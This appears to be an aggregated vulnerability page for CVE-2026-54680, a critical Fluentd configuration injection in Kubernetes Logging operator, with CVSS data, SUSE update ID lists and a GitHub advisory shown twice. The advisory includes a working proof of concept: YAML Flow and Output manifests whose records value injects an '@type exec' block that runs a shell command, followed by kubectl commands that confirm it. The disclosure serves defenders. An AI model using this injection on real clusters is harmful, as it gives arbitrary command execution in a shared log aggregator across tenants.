CVE-2026-54680
Logging operator has Fluentd configuration injection that allows remote code execution
Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
Logging operator has Fluentd configuration injection that allows remote code execution
Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.
- Record
CVE-2026-54680- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2026-50419
Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.
- Record
EUVD-2026-50419- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mjqf-28ph-426h
Logging operator has Fluentd configuration injection that allows remote code execution
Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS,…
- Record
GHSA-mjqf-28ph-426h- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
NVD
Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.
- Record
CVE-2026-54680- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
OSV
Logging operator has Fluentd configuration injection that allows remote code execution
Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.
- Record
CVE-2026-54680- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
OSVGHSA-mjqf-28ph-426h
Logging operator has Fluentd configuration injection that allows remote code execution
Summary
The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.
In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.
Details
The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.
Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.
One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.
The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.
PoC
The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.
First, create a minimal Output as the log destination.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
name: sink
namespace: tenant-a
spec:
nullout: {}
Next, create a Flow whose record_transformer.records value contains an injected @type exec block.
apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
name: exfil
namespace: tenant-a
spec:
match:
- select: {}
filters:
- record_transformer:
records:
- x: |-
y
</record>
</filter>
<match **>
@type exec
command /bin/sh -c "id > /tmp/pwned"
<format>
@type json
</format>
<buffer>
flush_interval 1s
</buffer>
</match>
<filter dummy.**>
@type record_transformer
<record>
absorbed y
localOutputRefs:
- sink
After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.
kubectl apply -f output.yaml -f flow.yaml
kubectl -n <control-namespace> get secret <logging>-fluentd-app \
-o go-template='{{ index .data "fluentd.conf" }}' \
| base64 -d | grep -A8 '@type exec'
When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.
kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)
Impact
This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.
In environments such as AWS EKS,…
- Record
GHSA-mjqf-28ph-426h- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
OSVGO-2026-6142 No score
Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator
Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator
- Record
GO-2026-6142- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21761-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
-
Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5026 CVE-2026-39821
- GO-2026-6225
- GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
- GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
- GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
- GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
- GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
- GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
- GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
- GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
- GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
- GO-2026-6262 GHSA-22w5-2fxg-vrwx
- GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
- GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
- GO-2026-6265 GHSA-8fxq-53rx-ph5f
- GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
- GO-2026-6267 GHSA-h58c-xccx-75m3
- GO-2026-6268 GHSA-q9c5-pp7m-fm2g
- GO-2026-6269 GHSA-rxhg-vcww-2mpw
- GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
- GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
- GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
- GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
- GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
- GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
- GO-2026-6277 GHSA-4ph6-mjv7-3fq6
- GO-2026-6278 GHSA-w67g-5rqw-f597
- GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
- GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
- GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
- GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
- GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
- GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
- GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
- GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
- GO-2026-6287 GHSA-vx2m-jpxr-xv7w
- GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
- GO-2026-6289 GHSA-w8j7-39hp-8x59
- GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
- GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
- GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
- GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
- GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
- GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
- GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
- GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
- GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
- GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
- GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
- GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf
-
Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4720 GHSA-v3mg-9v85-fcm7
- GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
- GO-2026-4950
- GO-2026-6093 GHSA-464c-974j-9xm6
- GO-2026-6094 GHSA-gcjh-h69q-9w9g
- GO-2026-6095 GHSA-r277-6w6q-xmqw
- GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
- GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
- GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
- GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
- GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
- GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
- GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
- GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
- GO-2026-6105 GHSA-c534-2w9c-x7fm
- GO-2026-6106 GHSA-v6w6-358x-2433
- GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
- GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
- GO-2026-6109 GHSA-86cx-wwf4-phq4
- GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
- GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
- GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
- GO-2026-6113 GHSA-p6ph-3jx2-3337
- GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
- GO-2026-6115 CVE-2026-56867
- GO-2026-6117 GHSA-hp74-gm6m-2qm5
- GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
- GO-2026-6119 CVE-2026-43983…
- Record
openSUSE-SU-2026:21761-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23625-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
-
Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5026 CVE-2026-39821
- GO-2026-6225
- GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
- GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
- GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
- GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
- GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
- GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
- GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
- GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
- GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
- GO-2026-6262 GHSA-22w5-2fxg-vrwx
- GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
- GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
- GO-2026-6265 GHSA-8fxq-53rx-ph5f
- GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
- GO-2026-6267 GHSA-h58c-xccx-75m3
- GO-2026-6268 GHSA-q9c5-pp7m-fm2g
- GO-2026-6269 GHSA-rxhg-vcww-2mpw
- GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
- GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
- GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
- GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
- GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
- GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
- GO-2026-6277 GHSA-4ph6-mjv7-3fq6
- GO-2026-6278 GHSA-w67g-5rqw-f597
- GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
- GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
- GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
- GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
- GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
- GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
- GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
- GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
- GO-2026-6287 GHSA-vx2m-jpxr-xv7w
- GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
- GO-2026-6289 GHSA-w8j7-39hp-8x59
- GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
- GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
- GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
- GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
- GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
- GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
- GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
- GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
- GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
- GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
- GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
- GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf
-
Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4720 GHSA-v3mg-9v85-fcm7
- GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
- GO-2026-4950
- GO-2026-6093 GHSA-464c-974j-9xm6
- GO-2026-6094 GHSA-gcjh-h69q-9w9g
- GO-2026-6095 GHSA-r277-6w6q-xmqw
- GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
- GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
- GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
- GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
- GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
- GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
- GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
- GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
- GO-2026-6105 GHSA-c534-2w9c-x7fm
- GO-2026-6106 GHSA-v6w6-358x-2433
- GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
- GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
- GO-2026-6109 GHSA-86cx-wwf4-phq4
- GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
- GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
- GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
- GO-2026-6113 GHSA-p6ph-3jx2-3337
- GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
- GO-2026-6115 CVE-2026-56867
- GO-2026-6117 GHSA-hp74-gm6m-2qm5
- GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
- GO-2026-6119 CVE-2026-43983…
- Record
SUSE-SU-2026:23625-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/kube-logging/logging-operatorGo |
before 0.0.0-20260608145523-cf437d7f1e05 | 0.0.0-20260608145523-cf437d7f1e05 |
govulncheck-vulndbSUSE:Linux Enterprise Server 16.0 From an advisory covering 181 CVEs |
before 0.0.20260827T195228-160000.1.1 | 0.0.20260827T195228-160000.1.1 |
govulncheck-vulndbSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 181 CVEs |
before 0.0.20260827T195228-160000.1.1 | 0.0.20260827T195228-160000.1.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 181 CVEs |
before 0.0.20260827T195228-160000.1.1 | 0.0.20260827T195228-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54680 is a critical vulnerability (CVSS 9.9) in Kube-logging Logging-operator, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.78%, the 56th percentile. Fixed in github.com/kube-logging/logging-operator 0.0.0-20260608145523-cf437d7f1e05.
References
github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h
nvd.nist.gov/vuln/detail/CVE-2026-54680
Show 183 moreShow less
suse.com/support/update/announcement/2026/suse-su-202623625-1
Left out here: the rest of 4 source descriptions. The JSON record has them.